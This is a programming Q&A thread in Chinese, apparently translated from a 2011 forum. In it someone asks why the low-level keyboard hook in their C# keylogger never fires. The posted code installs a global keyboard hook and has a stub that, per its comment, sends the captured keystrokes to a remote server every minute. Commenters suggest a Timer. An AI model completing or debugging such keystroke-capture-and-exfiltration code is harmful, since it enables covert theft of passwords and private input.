我正在C#中編寫鍵盤記錄程序,但在從鍵盤事件中調用我的鉤子方法時遇到了一些麻煩。我的代碼顯示正確,但由於某種原因,回調沒有發生。.NET應用程序中沒有調用低級別鍵盤鉤子
下面是相關代碼:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;
static void Main()
{
/* install low level global keyboard hook */
HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0);
/* every 60 seconds, process collected keystrokes */
for (;;)
{
Thread.Sleep(60000);
SendKeyData();
}
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
/* code to handle key events would be here */
return CallNextHookEx(HookHandle, nCode, wParam, lParam);
}
private static void SendKeyData()
{
/* code to send accumulated keystroke data to remote server would be here */
}
的SetWindowsHookEx
調用返回的句柄(即不爲空),因爲它應該,所以它應該意味着它安裝,但是當我把一個斷點HookCallback
,它永遠不會達到。
任何人都可以請告訴我可能做錯了什麼?
如果你註釋掉'for'塊,它會起作用嗎? – 2011-04-07 17:35:00
不,如果我這樣做,過程就會立即結束。 – 2011-04-07 17:42:18
使用Timer而不是無限循環可能是更好的做法。至少有一個定時器,你可以在必要時停止它。 – jlafay 2011-04-07 17:51:51